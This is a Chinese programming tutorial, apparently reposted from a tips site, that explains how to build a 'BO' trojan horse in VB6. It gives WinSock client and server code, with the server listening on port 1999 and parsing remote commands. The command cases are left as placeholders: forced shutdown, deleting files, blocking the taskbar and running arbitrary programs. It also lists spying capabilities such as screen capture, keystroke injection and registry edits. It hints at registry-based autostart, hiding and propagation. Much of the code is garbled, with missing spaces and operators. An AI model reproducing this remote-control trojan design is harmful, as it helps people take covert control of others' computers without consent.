浅谈用VB6.0编写BO程序

2016-02-19 12:56 34 1 收藏

最近很多朋友喜欢上设计,但是大家却不知道如何去做,别担心有图老师给你解答,史上最全最棒的详细解说让你一看就懂。

【 tulaoshi.com - 编程语言 】

BO又称“特洛伊木马”,是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
  ----使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
  
  ----在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
  
  PrivateSubcmdConnect_Click()
  IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then
  MsgBox("请输入主机名或主机IP地址。")
  ExitSub
  Else
  IfLen(Text1.Text)0Then
  tcpClient.RemoteHost=Text1.Text
  Else
  tcpClient.RemoteHost=Text2.Text
  EndIf
  EndIf
  tcpClient.Connect
  Timer1.Enabled=True
  EndSub
  
  
  ----连接建立之后就可以使用DataArrival事件处理所收到的数据了。
  ----在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
  
  PrivateSubForm_Load()
  tcpServer.LocalPort=1999
  tcpServer.Listen
  EndSub
  
  
  ----准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
  PrivateSubtcpServer_ConnectionRequest
  (ByValrequestIDAsLong)
  IftcpServer.StatesckClosedThen
  tcpServer.Close‘检查控件的State属性是否为关闭的。
  EndIf'如果不是,在接受新的连接之前先关闭此连接。
  tcpServer.AcceptrequestID
  EndSub
  
  
  
  ----这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
  ----建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
  
  PrivateSubtcpServer_DataArrival
  (ByValbytesTotalAsLong)
  DimstrDataAsString
  DimIAsLong
  DimmKeyAsString
  tcpServer.GetDatastrData
  ‘接收数据并存入strData
  ForI=1ToLen(strData)
  ‘分离strData中的命令
  IfMid(strData,I,1)="@"Then
  mKey=Left(strData,I-1)
  ‘把命令ID号存入mKey
  
  ‘把命令参数存入strData
  strData=Right(strData,Len(strData)-I)
  ExitFor
  EndIf
  NextI
  SelectCaseVal(mKey)
  Case1
  ‘驱动器名、目录名、文件名
  Case2
  强制关闭服务器端的计算机
  Case3
  强制重启服务器端的计算机
  Case4
  屏蔽任务栏窗口;
  Case5
  屏蔽开始菜单;
  Case6
  按照客户机端传过来的文件名或目录名,而删除它;
  Case7
  屏蔽热启动键;
  Case8
  运行服务器端的任何程序
  EndSelect
  EndSub
  详细程序略。
  
  ----客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
  ----另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
  
  PrivateSubtcpServer_Close()
  tcpServer.Close
  tcpServer.Listen
  EndSub
  
  ----这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
  ----成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。->

来源:http://www.tulaoshi.com/n/20160219/1602548.html

延伸阅读
三、CGI编程实例 本节将用VB编写一个处理主页客户留言簿的CGI程序。除了要调用本文前面所介绍的Win32API函数外,程序中还调用了Win32API函数GetTempFileName()来获得一个唯一的临时文件名。程序中的函数UrlDecode()用来对客户端的输入进行URL译码。函数GetCgiValue()则用来分解字符串,根据表单元素的NAME属性获取其VALUE值,并调用Ur...
利用通用网关接口(CGI) Web服务器可以执行一些外部程序 并将这些外部程序所产生的输出结果和Web服务器所管理的静态文本 图像和声音融合在一起传给相应的Web浏览器。当客户机的浏览器向Web服务器请求一个HTML文件时 服务器在收到请求后就去寻找这个文件并将找到的文件传送给客户机。而当客户机的请求是一个CGI程序时 Web服务器将激活客户...
熟悉VB的朋友对使用ActiveX控件一定不会陌生,众多控件极大地方便了编程,但唯一的缺陷是不能动态加载控件,必须在设计时通过引用,将控件放置在窗体上。VB6.0已能够解决该问题,只是帮助中没有明确说明,并且没有描述到一些关键功能,由于以前的版本中可以动态创建进程外服务:如果对象是外部可创建的,可在 Set 语句中用 New 关键字、Cre...
平时我们在过马路的时候常常会看到指挥交通的红绿灯,它的权利可大了,要是我们可以控制它就好了,虽然在现实生活中办不到,就让我们编写一个虚拟的红绿灯程序,也来过过控制红绿灯的瘾。 下面我们就开始编写吧。 第一件事当然是新建一个工程,然后引入所需控件。在“红绿灯”程序中,我们需要用到的控件有:OptionButton(选项按钮)...
用VB编写入侵监听程序(上) 上网的时候很容易遭到探测,一般探测你个人的入侵者技术不会高明到哪里去。所以根本不能称上黑客,所以本文就用入侵者来代替。他们对普通网民的扫描可以是多端口单IP的扫描或者多IP单端口扫描。前者是通过一些IP工具来取得你的IP,然后尝试利用端口扫描获取你的信息,看你的计算机有没有预先中了木马。然后通过...

经验教程

36

收藏

40
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部